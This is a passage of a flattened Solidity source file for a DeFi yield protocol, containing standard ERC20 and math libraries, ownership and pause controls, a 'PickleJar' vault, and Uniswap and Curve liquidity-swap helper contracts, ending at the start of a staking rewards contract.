_transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract Exponential is CarefulMath { uint constant expScale = 1e18; uint constant doubleScale = 1e36; uint constant halfExpScale = expScale/2; uint constant mantissaOne = expScale; struct Exp { uint mantissa; } struct Double { uint mantissa; } /** * @dev Creates an exponential from numerator and denominator values. * Note: Returns an error if (`num` * 10e18) > MAX_INT, * or if `denom` is zero. */ function getExp(uint num, uint denom) pure internal returns (MathError, Exp memory) { (MathError err0, uint scaledNumerator) = mulUInt(num, expScale); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } (MathError err1, uint rational) = divUInt(scaledNumerator, denom); if (err1 != MathError.NO_ERROR) { return (err1, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: rational})); } /** * @dev Adds two exponentials, returning a new exponential. */ function addExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError error, uint result) = addUInt(a.mantissa, b.mantissa); return (error, Exp({mantissa: result})); } /** * @dev Subtracts two exponentials, returning a new exponential. */ function subExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError error, uint result) = subUInt(a.mantissa, b.mantissa); return (error, Exp({mantissa: result})); } /** * @dev Multiply an Exp by a scalar, returning a new Exp. */ function mulScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) { (MathError err0, uint scaledMantissa) = mulUInt(a.mantissa, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: scaledMantissa})); } /** * @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer. */ function mulScalarTruncate(Exp memory a, uint scalar) pure internal returns (MathError, uint) { (MathError err, Exp memory product) = mulScalar(a, scalar); if (err != MathError.NO_ERROR) { return (err, 0); } return (MathError.NO_ERROR, truncate(product)); } /** * @dev Multiply an Exp by a scalar, truncate, then add an to an unsigned integer, returning an unsigned integer. */ function mulScalarTruncateAddUInt(Exp memory a, uint scalar, uint addend) pure internal returns (MathError, uint) { (MathError err, Exp memory product) = mulScalar(a, scalar); if (err != MathError.NO_ERROR) { return (err, 0); } return addUInt(truncate(product), addend); } /** * @dev Divide an Exp by a scalar, returning a new Exp. */ function divScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) { (MathError err0, uint descaledMantissa) = divUInt(a.mantissa, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: descaledMantissa})); } /** * @dev Divide a scalar by an Exp, returning a new Exp. */ function divScalarByExp(uint scalar, Exp memory divisor) pure internal returns (MathError, Exp memory) { /* We are doing this as: getExp(mulUInt(expScale, scalar), divisor.mantissa) How it works: Exp = a / b; Scalar = s; `s / (a / b)` = `b * s / a` and since for an Exp `a = mantissa, b = expScale` */ (MathError err0, uint numerator) = mulUInt(expScale, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return getExp(numerator, divisor.mantissa); } /** * @dev Divide a scalar by an Exp, then truncate to return an unsigned integer. */ function divScalarByExpTruncate(uint scalar, Exp memory divisor) pure internal returns (MathError, uint) { (MathError err, Exp memory fraction) = divScalarByExp(scalar, divisor); if (err != MathError.NO_ERROR) { return (err, 0); } return (MathError.NO_ERROR, truncate(fraction)); } /** * @dev Multiplies two exponentials, returning a new exponential. */ function mulExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError err0, uint doubleScaledProduct) = mulUInt(a.mantissa, b.mantissa); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } // We add half the scale before dividing so that we get rounding instead of truncation. // See "Listing 6" and text above it at https://accu.org/index.php/journals/1717 // Without this change, a result like 6.6...e-19 will be truncated to 0 instead of being rounded to 1e-18. (MathError err1, uint doubleScaledProductWithHalfScale) = addUInt(halfExpScale, doubleScaledProduct); if (err1 != MathError.NO_ERROR) { return (err1, Exp({mantissa: 0})); } (MathError err2, uint product) = divUInt(doubleScaledProductWithHalfScale, expScale); // The only error `div` can return is MathError.DIVISION_BY_ZERO but we control `expScale` and it is not zero. assert(err2 == MathError.NO_ERROR); return (MathError.NO_ERROR, Exp({mantissa: product})); } /** * @dev Multiplies two exponentials given their mantissas, returning a new exponential. */ function mulExp(uint a, uint b) pure internal returns (MathError, Exp memory) { return mulExp(Exp({mantissa: a}), Exp({mantissa: b})); } /** * @dev Multiplies three exponentials, returning a new exponential. */ function mulExp3(Exp memory a, Exp memory b, Exp memory c) pure internal returns (MathError, Exp memory) { (MathError err, Exp memory ab) = mulExp(a, b); if (err != MathError.NO_ERROR) { return (err, ab); } return mulExp(ab, c); } /** * @dev Divides two exponentials, returning a new exponential. * (a/scale) / (b/scale) = (a/scale) * (scale/b) = a/b, * which we can scale as an Exp by calling getExp(a.mantissa, b.mantissa) */ function divExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { return getExp(a.mantissa, b.mantissa); } /** * @dev Truncates the given exp to a whole number value. * For example, truncate(Exp{mantissa: 15 * expScale}) = 15 */ function truncate(Exp memory exp) pure internal returns (uint) { // Note: We are not using careful math here as we're performing a division that cannot fail return exp.mantissa / expScale; } /** * @dev Checks if first Exp is less than second Exp. */ function lessThanExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa < right.mantissa; } /** * @dev Checks if left Exp <= right Exp. */ function lessThanOrEqualExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa <= right.mantissa; } /** * @dev Checks if left Exp > right Exp. */ function greaterThanExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa > right.mantissa; } /** * @dev returns true if Exp is exactly zero */ function isZeroExp(Exp memory value) pure internal returns (bool) { return value.mantissa == 0; } function safe224(uint n, string memory errorMessage) pure internal returns (uint224) { require(n < 2**224, errorMessage); return uint224(n); } function safe32(uint n, string memory errorMessage) pure internal returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function add_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: add_(a.mantissa, b.mantissa)}); } function add_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: add_(a.mantissa, b.mantissa)}); } function add_(uint a, uint b) pure internal returns (uint) { return add_(a, b, "addition overflow"); } function add_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { uint c = a + b; require(c >= a, errorMessage); return c; } function sub_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: sub_(a.mantissa, b.mantissa)}); } function sub_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: sub_(a.mantissa, b.mantissa)}); } function sub_(uint a, uint b) pure internal returns (uint) { return sub_(a, b, "subtraction underflow"); } function sub_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { require(b <= a, errorMessage); return a - b; } function mul_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: mul_(a.mantissa, b.mantissa) / expScale}); } function mul_(Exp memory a, uint b) pure internal returns (Exp memory) { return Exp({mantissa: mul_(a.mantissa, b)}); } function mul_(uint a, Exp memory b) pure internal returns (uint) { return mul_(a, b.mantissa) / expScale; } function mul_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: mul_(a.mantissa, b.mantissa) / doubleScale}); } function mul_(Double memory a, uint b) pure internal returns (Double memory) { return Double({mantissa: mul_(a.mantissa, b)}); } function mul_(uint a, Double memory b) pure internal returns (uint) { return mul_(a, b.mantissa) / doubleScale; } function mul_(uint a, uint b) pure internal returns (uint) { return mul_(a, b, "multiplication overflow"); } function mul_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { if (a == 0 || b == 0) { return 0; } uint c = a * b; require(c / a == b, errorMessage); return c; } function div_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: div_(mul_(a.mantissa, expScale), b.mantissa)}); } function div_(Exp memory a, uint b) pure internal returns (Exp memory) { return Exp({mantissa: div_(a.mantissa, b)}); } function div_(uint a, Exp memory b) pure internal returns (uint) { return div_(mul_(a, expScale), b.mantissa); } function div_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: div_(mul_(a.mantissa, doubleScale), b.mantissa)}); } function div_(Double memory a, uint b) pure internal returns (Double memory) { return Double({mantissa: div_(a.mantissa, b)}); } function div_(uint a, Double memory b) pure internal returns (uint) { return div_(mul_(a, doubleScale), b.mantissa); } function div_(uint a, uint b) pure internal returns (uint) { return div_(a, b, "divide by zero"); } function div_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { require(b > 0, errorMessage); return a / b; } function fraction(uint a, uint b) pure internal returns (Double memory) { return Double({mantissa: div_(mul_(a, doubleScale), b)}); } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract Owned { address public owner; address public nominatedOwner; constructor(address _owner) public { require(_owner != address(0), "Owner address cannot be 0"); owner = _owner; emit OwnerChanged(address(0), _owner); } function nominateNewOwner(address _owner) external onlyOwner { nominatedOwner = _owner; emit OwnerNominated(_owner); } function acceptOwnership() external { require( msg.sender == nominatedOwner, "You must be nominated before you can accept ownership" ); emit OwnerChanged(owner, nominatedOwner); owner = nominatedOwner; nominatedOwner = address(0); } modifier onlyOwner { _onlyOwner(); _; } function _onlyOwner() private view { require( msg.sender == owner, "Only the contract owner may perform this action" ); } event OwnerNominated(address newOwner); event OwnerChanged(address oldOwner, address newOwner); } abstract contract Pausable is Owned { uint256 public lastPauseTime; bool public paused; constructor() internal { // This contract is abstract, and thus cannot be instantiated directly require(owner != address(0), "Owner must be set"); // Paused will be false, and lastPauseTime will be 0 upon initialisation } /** * @notice Change the paused state of the contract * @dev Only the contract owner may call this. */ function setPaused(bool _paused) external onlyOwner { // Ensure we're actually changing the state before we do anything if (_paused == paused) { return; } // Set our paused state. paused = _paused; // If applicable, set the last pause time. if (paused) { lastPauseTime = now; } // Let everyone know that our pause state has changed. emit PauseChanged(paused); } event PauseChanged(bool isPaused); modifier notPaused { require( !paused, "This action cannot be performed while the contract is paused" ); _; } } contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract PickleJar is ERC20 { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; IERC20 public token; uint256 public min = 9500; uint256 public constant max = 10000; address public governance; address public timelock; address public controller; constructor(address _token, address _governance, address _timelock, address _controller) public ERC20( string(abi.encodePacked("pickling ", ERC20(_token).name())), string(abi.encodePacked("p", ERC20(_token).symbol())) ) { _setupDecimals(ERC20(_token).decimals()); token = IERC20(_token); governance = _governance; timelock = _timelock; controller = _controller; } function balance() public view returns (uint256) { return token.balanceOf(address(this)).add( IController(controller).balanceOf(address(token)) ); } function setMin(uint256 _min) external { require(msg.sender == governance, "!governance"); min = _min; } function setGovernance(address _governance) public { require(msg.sender == governance, "!governance"); governance = _governance; } function setTimelock(address _timelock) public { require(msg.sender == timelock, "!timelock"); timelock = _timelock; } function setController(address _controller) public { require(msg.sender == timelock, "!timelock"); controller = _controller; } // Custom logic in here for how much the jars allows to be borrowed // Sets minimum required on-hand to keep small withdrawals cheap function available() public view returns (uint256) { return token.balanceOf(address(this)).mul(min).div(max); } function earn() public { uint256 _bal = available(); token.safeTransfer(controller, _bal); IController(controller).earn(address(token), _bal); } function depositAll() external { deposit(token.balanceOf(msg.sender)); } function deposit(uint256 _amount) public { uint256 _pool = balance(); uint256 _before = token.balanceOf(address(this)); token.safeTransferFrom(msg.sender, address(this), _amount); uint256 _after = token.balanceOf(address(this)); _amount = _after.sub(_before); // Additional check for deflationary tokens uint256 shares = 0; if (totalSupply() == 0) { shares = _amount; } else { shares = (_amount.mul(totalSupply())).div(_pool); } _mint(msg.sender, shares); } function withdrawAll() external { withdraw(balanceOf(msg.sender)); } // Used to swap any borrowed reserve over the debt limit to liquidate to 'token' function harvest(address reserve, uint256 amount) external { require(msg.sender == controller, "!controller"); require(reserve != address(token), "token"); IERC20(reserve).safeTransfer(controller, amount); } // No rebalance implementation for lower fees and faster swaps function withdraw(uint256 _shares) public { uint256 r = (balance().mul(_shares)).div(totalSupply()); _burn(msg.sender, _shares); // Check balance uint256 b = token.balanceOf(address(this)); if (b < r) { uint256 _withdraw = r.sub(b); IController(controller).withdraw(address(token), _withdraw); uint256 _after = token.balanceOf(address(this)); uint256 _diff = _after.sub(b); if (_diff < _withdraw) { r = b.add(_diff); } } token.safeTransfer(msg.sender, r); } function getRatio() public view returns (uint256) { return balance().mul(1e18).div(totalSupply()); } } contract PickleSwap { using SafeERC20 for IERC20; UniswapRouterV2 router = UniswapRouterV2( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); address public constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; function convertWETHPair( address fromLP, address toLP, uint256 value ) public { IUniswapV2Pair fromPair = IUniswapV2Pair(fromLP); IUniswapV2Pair toPair = IUniswapV2Pair(toLP); // Only for WETH/<TOKEN> pairs if (!(fromPair.token0() == weth || fromPair.token1() == weth)) { revert("!eth-from"); } if (!(toPair.token0() == weth || toPair.token1() == weth)) { revert("!eth-to"); } // Get non-eth token from pairs address _from = fromPair.token0() != weth ? fromPair.token0() : fromPair.token1(); address _to = toPair.token0() != weth ? toPair.token0() : toPair.token1(); // Transfer IERC20(fromLP).safeTransferFrom(msg.sender, address(this), value); // Remove liquidity IERC20(fromLP).safeApprove(address(router), 0); IERC20(fromLP).safeApprove(address(router), value); router.removeLiquidity( fromPair.token0(), fromPair.token1(), value, 0, 0, address(this), now + 60 ); // Convert to target token address[] memory path = new address[](3); path[0] = _from; path[1] = weth; path[2] = _to; IERC20(_from).safeApprove(address(router), 0); IERC20(_from).safeApprove(address(router), uint256(-1)); router.swapExactTokensForTokens( IERC20(_from).balanceOf(address(this)), 0, path, address(this), now + 60 ); // Supply liquidity IERC20(weth).safeApprove(address(router), 0); IERC20(weth).safeApprove(address(router), uint256(-1)); IERC20(_to).safeApprove(address(router), 0); IERC20(_to).safeApprove(address(router), uint256(-1)); router.addLiquidity( weth, _to, IERC20(weth).balanceOf(address(this)), IERC20(_to).balanceOf(address(this)), 0, 0, msg.sender, now + 60 ); // Refund sender any remaining tokens IERC20(weth).safeTransfer( msg.sender, IERC20(weth).balanceOf(address(this)) ); IERC20(_to).safeTransfer(msg.sender, IERC20(_to).balanceOf(address(this))); } } contract CurveProxyLogic { using SafeMath for uint256; using SafeERC20 for IERC20; function remove_liquidity_one_coin( address curve, address curveLp, int128 index ) public { uint256 lpAmount = IERC20(curveLp).balanceOf(address(this)); IERC20(curveLp).safeApprove(curve, 0); IERC20(curveLp).safeApprove(curve, lpAmount); ICurveZap(curve).remove_liquidity_one_coin(lpAmount, index, 0); } function add_liquidity( address curve, bytes4 curveFunctionSig, uint256 curvePoolSize, uint256 curveUnderlyingIndex, address underlying ) public { uint256 underlyingAmount = IERC20(underlying).balanceOf(address(this)); // curveFunctionSig should be the abi.encodedFormat of // add_liquidity(uint256[N_COINS],uint256) // The reason why its here is because different curve pools // have a different function signature uint256[] memory liquidity = new uint256[](curvePoolSize); liquidity[curveUnderlyingIndex] = underlyingAmount; bytes memory callData = abi.encodePacked( curveFunctionSig, liquidity, uint256(0) ); IERC20(underlying).safeApprove(curve, 0); IERC20(underlying).safeApprove(curve, underlyingAmount); (bool success, ) = curve.call(callData); require(success, "!success"); } } contract UniswapV2ProxyLogic { using SafeMath for uint256; using SafeERC20 for IERC20; IUniswapV2Factory public constant factory = IUniswapV2Factory( 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f ); UniswapRouterV2 public constant router = UniswapRouterV2( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); address public constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrt(uint256 y) internal pure returns (uint256 z) { if (y > 3) { z = y; uint256 x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } function getSwapAmt(uint256 amtA, uint256 resA) internal pure returns (uint256) { return sqrt(amtA.mul(resA.mul(3988000).add(amtA.mul(3988009)))) .sub(amtA.mul(1997)) .div(1994); } // https://blog.alphafinance.io/onesideduniswap/ // https://github.com/AlphaFinanceLab/alphahomora/blob/88a8dfe4d4fa62b13b40f7983ee2c646f83e63b5/contracts/StrategyAddETHOnly.sol#L39 // AlphaFinance is gripbook licensed function optimalOneSideSupply( IUniswapV2Pair pair, address from, address to ) public { address[] memory path = new address[](2); // 1. Compute optimal amount of WETH to be converted (uint256 r0, uint256 r1, ) = pair.getReserves(); uint256 rIn = pair.token0() == from ? r0 : r1; uint256 aIn = getSwapAmt(rIn, IERC20(from).balanceOf(address(this))); // 2. Convert that from -> to path[0] = from; path[1] = to; IERC20(from).safeApprove(address(router), 0); IERC20(from).safeApprove(address(router), aIn); router.swapExactTokensForTokens(aIn, 0, path, address(this), now + 60); } function swapUniswap(address from, address to) public { require(to != address(0)); address[] memory path; if (from == weth || to == weth) { path = new address[](2); path[0] = from; path[1] = to; } else { path = new address[](3); path[0] = from; path[1] = weth; path[2] = to; } uint256 amount = IERC20(from).balanceOf(address(this)); IERC20(from).safeApprove(address(router), 0); IERC20(from).safeApprove(address(router), amount); router.swapExactTokensForTokens( amount, 0, path, address(this), now + 60 ); } function removeLiquidity(IUniswapV2Pair pair) public { uint256 _balance = pair.balanceOf(address(this)); pair.approve(address(router), _balance); router.removeLiquidity( pair.token0(), pair.token1(), _balance, 0, 0, address(this), now + 60 ); } function supplyLiquidity( address token0, address token1 ) public returns (uint256) { // Add liquidity to uniswap IERC20(token0).safeApprove(address(router), 0); IERC20(token0).safeApprove( address(router), IERC20(token0).balanceOf(address(this)) ); IERC20(token1).safeApprove(address(router), 0); IERC20(token1).safeApprove( address(router), IERC20(token1).balanceOf(address(this)) ); (, , uint256 _to) = router.addLiquidity( token0, token1, IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), 0, 0, address(this), now + 60 ); return _to; } function refundDust(IUniswapV2Pair pair, address recipient) public { address token0 = pair.token0(); address token1 = pair.token1(); IERC20(token0).safeTransfer( recipient, IERC20(token0).balanceOf(address(this)) ); IERC20(token1).safeTransfer( recipient, IERC20(token1).balanceOf(address(this)) ); } function lpTokensToPrimitive( IUniswapV2Pair from, address to ) public { if (from.token0() != weth && from.token1() != weth) { revert("!from-weth-pair"); } address fromOther = from.token0() == weth ? from.token1() : from.token0(); // Removes liquidity removeLiquidity(from); // Swap from WETH to other swapUniswap(weth, to); // If from is not to, we swap them too if (fromOther != to) { swapUniswap(fromOther, to); } } function primitiveToLpTokens( address from, IUniswapV2Pair to, address dustRecipient ) public { if (to.token0() != weth && to.token1() != weth) { revert("!to-weth-pair"); } address toOther = to.token0() == weth ? to.token1() : to.token0(); // Swap to WETH swapUniswap(from, weth); // Optimal supply from WETH to optimalOneSideSupply(to, weth, toOther); // Supply tokens supplyLiquidity(weth, toOther); // Dust refundDust(to, dustRecipient); } function swapUniLPTokens( IUniswapV2Pair from, IUniswapV2Pair to, address dustRecipient ) public { if (from.token0() != weth && from.token1() != weth) { revert("!from-weth-pair"); } if (to.token0() != weth && to.token1() != weth) { revert("!to-weth-pair"); } address fromOther = from.token0() == weth ? from.token1() : from.token0(); address toOther = to.token0() == weth ? to.token1() : to.token0(); // Remove weth-<token> pair removeLiquidity(from); // Swap <token> to WETH swapUniswap(fromOther, weth); // Optimal supply from WETH to <other-token> optimalOneSideSupply(to, weth, toOther); // Supply weth-<other-token> pair supplyLiquidity(weth, toOther); // Refund dust refundDust(to, dustRecipient); } } contract StakingRewards is ReentrancyGuard, Pausable { using SafeMath for uint256; using SafeERC20 for IERC20; /* ========== STATE VARIABLES ========== */ IERC20 public rewardsToken; IERC20 public stakingToken; uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public rewardsDuration = 7 days; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; uint256 private _totalSupply; mapping(address => uint256) private _balances; /* ========== CONSTRUCTOR ========== */ constructor( address _owner, address _rewardsToken, address _stakingToken ) public Owned(_owner) { rewardsToken = IERC20(_rewardsToken); stakingToken = IERC20(_stakingToken); } /* ========== VIEWS ========== */ function totalSupply() external view returns (uint256) { return _totalSupply; } function balanceOf(address account) external view returns (uint256) { return _balances[account]; } function 